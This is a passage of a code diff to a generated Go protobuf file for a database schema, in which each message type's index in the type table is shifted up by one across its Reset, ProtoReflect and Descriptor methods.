*DatabaseSettingsRequest) Reset() { *x = DatabaseSettingsRequest{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[72] + mi := &file_schema_proto_msgTypes[73] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -5389,7 +5382,7 @@ func (x *DatabaseSettingsRequest) String() string { func (*DatabaseSettingsRequest) ProtoMessage() {} func (x *DatabaseSettingsRequest) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[72] + mi := &file_schema_proto_msgTypes[73] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -5402,7 +5395,7 @@ func (x *DatabaseSettingsRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use DatabaseSettingsRequest.ProtoReflect.Descriptor instead. func (*DatabaseSettingsRequest) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{72} + return file_schema_proto_rawDescGZIP(), []int{73} } type DatabaseSettingsResponse struct { @@ -5419,7 +5412,7 @@ type DatabaseSettingsResponse struct { func (x *DatabaseSettingsResponse) Reset() { *x = DatabaseSettingsResponse{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[73] + mi := &file_schema_proto_msgTypes[74] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -5432,7 +5425,7 @@ func (x *DatabaseSettingsResponse) String() string { func (*DatabaseSettingsResponse) ProtoMessage() {} func (x *DatabaseSettingsResponse) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[73] + mi := &file_schema_proto_msgTypes[74] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -5445,7 +5438,7 @@ func (x *DatabaseSettingsResponse) ProtoReflect() protoreflect.Message { // Deprecated: Use DatabaseSettingsResponse.ProtoReflect.Descriptor instead. func (*DatabaseSettingsResponse) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{73} + return file_schema_proto_rawDescGZIP(), []int{74} } func (x *DatabaseSettingsResponse) GetDatabase() string { @@ -5473,7 +5466,7 @@ type NullableUint32 struct { func (x *NullableUint32) Reset() { *x = NullableUint32{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[74] + mi := &file_schema_proto_msgTypes[75] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -5486,7 +5479,7 @@ func (x *NullableUint32) String() string { func (*NullableUint32) ProtoMessage() {} func (x *NullableUint32) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[74] + mi := &file_schema_proto_msgTypes[75] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -5499,7 +5492,7 @@ func (x *NullableUint32) ProtoReflect() protoreflect.Message { // Deprecated: Use NullableUint32.ProtoReflect.Descriptor instead. func (*NullableUint32) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{74} + return file_schema_proto_rawDescGZIP(), []int{75} } func (x *NullableUint32) GetValue() uint32 { @@ -5520,7 +5513,7 @@ type NullableUint64 struct { func (x *NullableUint64) Reset() { *x = NullableUint64{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[75] + mi := &file_schema_proto_msgTypes[76] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -5533,7 +5526,7 @@ func (x *NullableUint64) String() string { func (*NullableUint64) ProtoMessage() {} func (x *NullableUint64) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[75] + mi := &file_schema_proto_msgTypes[76] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -5546,7 +5539,7 @@ func (x *NullableUint64) ProtoReflect() protoreflect.Message { // Deprecated: Use NullableUint64.ProtoReflect.Descriptor instead. func (*NullableUint64) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{75} + return file_schema_proto_rawDescGZIP(), []int{76} } func (x *NullableUint64) GetValue() uint64 { @@ -5567,7 +5560,7 @@ type NullableFloat struct { func (x *NullableFloat) Reset() { *x = NullableFloat{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[76] + mi := &file_schema_proto_msgTypes[77] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -5580,7 +5573,7 @@ func (x *NullableFloat) String() string { func (*NullableFloat) ProtoMessage() {} func (x *NullableFloat) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[76] + mi := &file_schema_proto_msgTypes[77] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -5593,7 +5586,7 @@ func (x *NullableFloat) ProtoReflect() protoreflect.Message { // Deprecated: Use NullableFloat.ProtoReflect.Descriptor instead. func (*NullableFloat) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{76} + return file_schema_proto_rawDescGZIP(), []int{77} } func (x *NullableFloat) GetValue() float32 { @@ -5614,7 +5607,7 @@ type NullableBool struct { func (x *NullableBool) Reset() { *x = NullableBool{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[77] + mi := &file_schema_proto_msgTypes[78] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -5627,7 +5620,7 @@ func (x *NullableBool) String() string { func (*NullableBool) ProtoMessage() {} func (x *NullableBool) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[77] + mi := &file_schema_proto_msgTypes[78] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -5640,7 +5633,7 @@ func (x *NullableBool) ProtoReflect() protoreflect.Message { // Deprecated: Use NullableBool.ProtoReflect.Descriptor instead. func (*NullableBool) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{77} + return file_schema_proto_rawDescGZIP(), []int{78} } func (x *NullableBool) GetValue() bool { @@ -5661,7 +5654,7 @@ type NullableString struct { func (x *NullableString) Reset() { *x = NullableString{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[78] + mi := &file_schema_proto_msgTypes[79] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -5674,7 +5667,7 @@ func (x *NullableString) String() string { func (*NullableString) ProtoMessage() {} func (x *NullableString) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[78] + mi := &file_schema_proto_msgTypes[79] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -5687,7 +5680,7 @@ func (x *NullableString) ProtoReflect() protoreflect.Message { // Deprecated: Use NullableString.ProtoReflect.Descriptor instead. func (*NullableString) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{78} + return file_schema_proto_rawDescGZIP(), []int{79} } func (x *NullableString) GetValue() string { @@ -5708,7 +5701,7 @@ type NullableMilliseconds struct { func (x *NullableMilliseconds) Reset() { *x = NullableMilliseconds{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[79] + mi := &file_schema_proto_msgTypes[80] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -5721,7 +5714,7 @@ func (x *NullableMilliseconds) String() string { func (*NullableMilliseconds) ProtoMessage() {} func (x *NullableMilliseconds) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[79] + mi := &file_schema_proto_msgTypes[80] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -5734,7 +5727,7 @@ func (x *NullableMilliseconds) ProtoReflect() protoreflect.Message { // Deprecated: Use NullableMilliseconds.ProtoReflect.Descriptor instead. func (*NullableMilliseconds) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{79} + return file_schema_proto_rawDescGZIP(), []int{80} } func (x *NullableMilliseconds) GetValue() int64 { @@ -5804,7 +5797,7 @@ type DatabaseNullableSettings struct { func (x *DatabaseNullableSettings) Reset() { *x = DatabaseNullableSettings{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[80] + mi := &file_schema_proto_msgTypes[81] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -5817,7 +5810,7 @@ func (x *DatabaseNullableSettings) String() string { func (*DatabaseNullableSettings) ProtoMessage() {} func (x *DatabaseNullableSettings) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[80] + mi := &file_schema_proto_msgTypes[81] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -5830,7 +5823,7 @@ func (x *DatabaseNullableSettings) ProtoReflect() protoreflect.Message { // Deprecated: Use DatabaseNullableSettings.ProtoReflect.Descriptor instead. func (*DatabaseNullableSettings) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{80} + return file_schema_proto_rawDescGZIP(), []int{81} } func (x *DatabaseNullableSettings) GetReplicationSettings() *ReplicationNullableSettings { @@ -6044,7 +6037,7 @@ type ReplicationNullableSettings struct { func (x *ReplicationNullableSettings) Reset() { *x = ReplicationNullableSettings{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[81] + mi := &file_schema_proto_msgTypes[82] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6057,7 +6050,7 @@ func (x *ReplicationNullableSettings) String() string { func (*ReplicationNullableSettings) ProtoMessage() {} func (x *ReplicationNullableSettings) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[81] + mi := &file_schema_proto_msgTypes[82] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6070,7 +6063,7 @@ func (x *ReplicationNullableSettings) ProtoReflect() protoreflect.Message { // Deprecated: Use ReplicationNullableSettings.ProtoReflect.Descriptor instead. func (*ReplicationNullableSettings) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{81} + return file_schema_proto_rawDescGZIP(), []int{82} } func (x *ReplicationNullableSettings) GetReplica() *NullableBool { @@ -6178,7 +6171,7 @@ type TruncationNullableSettings struct { func (x *TruncationNullableSettings) Reset() { *x = TruncationNullableSettings{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[82] + mi := &file_schema_proto_msgTypes[83] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6191,7 +6184,7 @@ func (x *TruncationNullableSettings) String() string { func (*TruncationNullableSettings) ProtoMessage() {} func (x *TruncationNullableSettings) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[82] + mi := &file_schema_proto_msgTypes[83] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6204,7 +6197,7 @@ func (x *TruncationNullableSettings) ProtoReflect() protoreflect.Message { // Deprecated: Use TruncationNullableSettings.ProtoReflect.Descriptor instead. func (*TruncationNullableSettings) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{82} + return file_schema_proto_rawDescGZIP(), []int{83} } func (x *TruncationNullableSettings) GetRetentionPeriod() *NullableMilliseconds { @@ -6261,7 +6254,7 @@ type IndexNullableSettings struct { func (x *IndexNullableSettings) Reset() { *x = IndexNullableSettings{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[83] + mi := &file_schema_proto_msgTypes[84] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6274,7 +6267,7 @@ func (x *IndexNullableSettings) String() string { func (*IndexNullableSettings) ProtoMessage() {} func (x *IndexNullableSettings) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[83] + mi := &file_schema_proto_msgTypes[84] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6287,7 +6280,7 @@ func (x *IndexNullableSettings) ProtoReflect() protoreflect.Message { // Deprecated: Use IndexNullableSettings.ProtoReflect.Descriptor instead. func (*IndexNullableSettings) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{83} + return file_schema_proto_rawDescGZIP(), []int{84} } func (x *IndexNullableSettings) GetFlushThreshold() *NullableUint32 { @@ -6409,7 +6402,7 @@ type AHTNullableSettings struct { func (x *AHTNullableSettings) Reset() { *x = AHTNullableSettings{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[84] + mi := &file_schema_proto_msgTypes[85] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6422,7 +6415,7 @@ func (x *AHTNullableSettings) String() string { func (*AHTNullableSettings) ProtoMessage() {} func (x *AHTNullableSettings) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[84] + mi := &file_schema_proto_msgTypes[85] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6435,7 +6428,7 @@ func (x *AHTNullableSettings) ProtoReflect() protoreflect.Message { // Deprecated: Use AHTNullableSettings.ProtoReflect.Descriptor instead. func (*AHTNullableSettings) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{84} + return file_schema_proto_rawDescGZIP(), []int{85} } func (x *AHTNullableSettings) GetSyncThreshold() *NullableUint32 { @@ -6463,7 +6456,7 @@ type LoadDatabaseRequest struct { func (x *LoadDatabaseRequest) Reset() { *x = LoadDatabaseRequest{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[85] + mi := &file_schema_proto_msgTypes[86] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6476,7 +6469,7 @@ func (x *LoadDatabaseRequest) String() string { func (*LoadDatabaseRequest) ProtoMessage() {} func (x *LoadDatabaseRequest) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[85] + mi := &file_schema_proto_msgTypes[86] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6489,7 +6482,7 @@ func (x *LoadDatabaseRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use LoadDatabaseRequest.ProtoReflect.Descriptor instead. func (*LoadDatabaseRequest) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{85} + return file_schema_proto_rawDescGZIP(), []int{86} } func (x *LoadDatabaseRequest) GetDatabase() string { @@ -6511,7 +6504,7 @@ type LoadDatabaseResponse struct { func (x *LoadDatabaseResponse) Reset() { *x = LoadDatabaseResponse{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[86] + mi := &file_schema_proto_msgTypes[87] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6524,7 +6517,7 @@ func (x *LoadDatabaseResponse) String() string { func (*LoadDatabaseResponse) ProtoMessage() {} func (x *LoadDatabaseResponse) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[86] + mi := &file_schema_proto_msgTypes[87] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6537,7 +6530,7 @@ func (x *LoadDatabaseResponse) ProtoReflect() protoreflect.Message { // Deprecated: Use LoadDatabaseResponse.ProtoReflect.Descriptor instead. func (*LoadDatabaseResponse) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{86} + return file_schema_proto_rawDescGZIP(), []int{87} } func (x *LoadDatabaseResponse) GetDatabase() string { @@ -6559,7 +6552,7 @@ type UnloadDatabaseRequest struct { func (x *UnloadDatabaseRequest) Reset() { *x = UnloadDatabaseRequest{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[87] + mi := &file_schema_proto_msgTypes[88] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6572,7 +6565,7 @@ func (x *UnloadDatabaseRequest) String() string { func (*UnloadDatabaseRequest) ProtoMessage() {} func (x *UnloadDatabaseRequest) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[87] + mi := &file_schema_proto_msgTypes[88] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6585,7 +6578,7 @@ func (x *UnloadDatabaseRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use UnloadDatabaseRequest.ProtoReflect.Descriptor instead. func (*UnloadDatabaseRequest) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{87} + return file_schema_proto_rawDescGZIP(), []int{88} } func (x *UnloadDatabaseRequest) GetDatabase() string { @@ -6607,7 +6600,7 @@ type UnloadDatabaseResponse struct { func (x *UnloadDatabaseResponse) Reset() { *x = UnloadDatabaseResponse{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[88] + mi := &file_schema_proto_msgTypes[89] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6620,7 +6613,7 @@ func (x *UnloadDatabaseResponse) String() string { func (*UnloadDatabaseResponse) ProtoMessage() {} func (x *UnloadDatabaseResponse) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[88] + mi := &file_schema_proto_msgTypes[89] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6633,7 +6626,7 @@ func (x *UnloadDatabaseResponse) ProtoReflect() protoreflect.Message { // Deprecated: Use UnloadDatabaseResponse.ProtoReflect.Descriptor instead. func (*UnloadDatabaseResponse) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{88} + return file_schema_proto_rawDescGZIP(), []int{89} } func (x *UnloadDatabaseResponse) GetDatabase() string { @@ -6655,7 +6648,7 @@ type DeleteDatabaseRequest struct { func (x *DeleteDatabaseRequest) Reset() { *x = DeleteDatabaseRequest{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[89] + mi := &file_schema_proto_msgTypes[90] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6668,7 +6661,7 @@ func (x *DeleteDatabaseRequest) String() string { func (*DeleteDatabaseRequest) ProtoMessage() {} func (x *DeleteDatabaseRequest) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[89] + mi := &file_schema_proto_msgTypes[90] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6681,7 +6674,7 @@ func (x *DeleteDatabaseRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use DeleteDatabaseRequest.ProtoReflect.Descriptor instead. func (*DeleteDatabaseRequest) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{89} + return file_schema_proto_rawDescGZIP(), []int{90} } func (x *DeleteDatabaseRequest) GetDatabase() string { @@ -6703,7 +6696,7 @@ type DeleteDatabaseResponse struct { func (x *DeleteDatabaseResponse) Reset() { *x = DeleteDatabaseResponse{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[90] + mi := &file_schema_proto_msgTypes[91] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6716,7 +6709,7 @@ func (x *DeleteDatabaseResponse) String() string { func (*DeleteDatabaseResponse) ProtoMessage() {} func (x *DeleteDatabaseResponse) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[90] + mi := &file_schema_proto_msgTypes[91] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6729,7 +6722,7 @@ func (x *DeleteDatabaseResponse) ProtoReflect() protoreflect.Message { // Deprecated: Use DeleteDatabaseResponse.ProtoReflect.Descriptor instead. func (*DeleteDatabaseResponse) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{90} + return file_schema_proto_rawDescGZIP(), []int{91} } func (x *DeleteDatabaseResponse) GetDatabase() string { @@ -6753,7 +6746,7 @@ type FlushIndexRequest struct { func (x *FlushIndexRequest) Reset() { *x = FlushIndexRequest{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[91] + mi := &file_schema_proto_msgTypes[92] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6766,7 +6759,7 @@ func (x *FlushIndexRequest) String() string { func (*FlushIndexRequest) ProtoMessage() {} func (x *FlushIndexRequest) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[91] + mi := &file_schema_proto_msgTypes[92] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6779,7 +6772,7 @@ func (x *FlushIndexRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use FlushIndexRequest.ProtoReflect.Descriptor instead. func (*FlushIndexRequest) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{91} + return file_schema_proto_rawDescGZIP(), []int{92} } func (x *FlushIndexRequest) GetCleanupPercentage() float32 { @@ -6808,7 +6801,7 @@ type FlushIndexResponse struct { func (x *FlushIndexResponse) Reset() { *x = FlushIndexResponse{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[92] + mi := &file_schema_proto_msgTypes[93] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6821,7 +6814,7 @@ func (x *FlushIndexResponse) String() string { func (*FlushIndexResponse) ProtoMessage() {} func (x *FlushIndexResponse) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[92] + mi := &file_schema_proto_msgTypes[93] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6834,7 +6827,7 @@ func (x *FlushIndexResponse) ProtoReflect() protoreflect.Message { // Deprecated: Use FlushIndexResponse.ProtoReflect.Descriptor instead. func (*FlushIndexResponse) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{92} + return file_schema_proto_rawDescGZIP(), []int{93} } func (x *FlushIndexResponse) GetDatabase() string { @@ -6856,7 +6849,7 @@ type Table struct { func (x *Table) Reset() { *x = Table{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[93] + mi := &file_schema_proto_msgTypes[94] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6869,7 +6862,7 @@ func (x *Table) String() string { func (*Table) ProtoMessage() {} func (x *Table) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[93] + mi := &file_schema_proto_msgTypes[94] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6882,7 +6875,7 @@ func (x *Table) ProtoReflect() protoreflect.Message { // Deprecated: Use Table.ProtoReflect.Descriptor instead. func (*Table) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{93} + return file_schema_proto_rawDescGZIP(), []int{94} } func (x *Table) GetTableName() string { @@ -6910,7 +6903,7 @@ type SQLGetRequest struct { func (x *SQLGetRequest) Reset() { *x = SQLGetRequest{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[94] + mi := &file_schema_proto_msgTypes[95] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6923,7 +6916,7 @@ func (x *SQLGetRequest) String() string { func (*SQLGetRequest) ProtoMessage() {} func (x *SQLGetRequest) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[94] + mi := &file_schema_proto_msgTypes[95] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6936,7 +6929,7 @@ func (x *SQLGetRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use SQLGetRequest.ProtoReflect.Descriptor instead. func (*SQLGetRequest) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{94} + return file_schema_proto_rawDescGZIP(), []int{95} } func (x *SQLGetRequest) GetTable() string { @@ -6981,7 +6974,7 @@ type VerifiableSQLGetRequest struct { func (x *VerifiableSQLGetRequest) Reset() { *x = VerifiableSQLGetRequest{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[95] + mi := &file_schema_proto_msgTypes[96] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6994,7 +6987,7 @@ func (x *VerifiableSQLGetRequest) String() string { func (*VerifiableSQLGetRequest) ProtoMessage() {} func (x *VerifiableSQLGetRequest) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[95] + mi := &file_schema_proto_msgTypes[96] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7007,7 +7000,7 @@ func (x *VerifiableSQLGetRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use VerifiableSQLGetRequest.ProtoReflect.Descriptor instead. func (*VerifiableSQLGetRequest) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{95} + return file_schema_proto_rawDescGZIP(), []int{96} } func (x *VerifiableSQLGetRequest) GetSqlGetRequest() *SQLGetRequest { @@ -7042,7 +7035,7 @@ type SQLEntry struct { func (x *SQLEntry) Reset() { *x = SQLEntry{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[96] + mi := &file_schema_proto_msgTypes[97] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7055,7 +7048,7 @@ func (x *SQLEntry) String() string { func (*SQLEntry) ProtoMessage() {} func (x *SQLEntry) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[96] + mi := &file_schema_proto_msgTypes[97] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7068,7 +7061,7 @@ func (x *SQLEntry) ProtoReflect() protoreflect.Message { // Deprecated: Use SQLEntry.ProtoReflect.Descriptor instead. func (*SQLEntry) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{96} + return file_schema_proto_rawDescGZIP(), []int{97} } func (x *SQLEntry) GetTx() uint64 { @@ -7131,7 +7124,7 @@ type VerifiableSQLEntry struct { func (x *VerifiableSQLEntry) Reset() { *x = VerifiableSQLEntry{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[97] + mi := &file_schema_proto_msgTypes[98] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7144,7 +7137,7 @@ func (x *VerifiableSQLEntry) String() string { func (*VerifiableSQLEntry) ProtoMessage() {} func (x *VerifiableSQLEntry) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[97] + mi := &file_schema_proto_msgTypes[98] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7157,7 +7150,7 @@ func (x *VerifiableSQLEntry) ProtoReflect() protoreflect.Message { // Deprecated: Use VerifiableSQLEntry.ProtoReflect.Descriptor instead. func (*VerifiableSQLEntry) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{97} + return file_schema_proto_rawDescGZIP(), []int{98} } func (x *VerifiableSQLEntry) GetSqlEntry() *SQLEntry { @@ -7249,7 +7242,7 @@ type UseDatabaseReply struct { func (x *UseDatabaseReply) Reset() { *x = UseDatabaseReply{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[98] + mi := &file_schema_proto_msgTypes[99] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7262,7 +7255,7 @@ func (x *UseDatabaseReply) String() string { func (*UseDatabaseReply) ProtoMessage() {} func (x 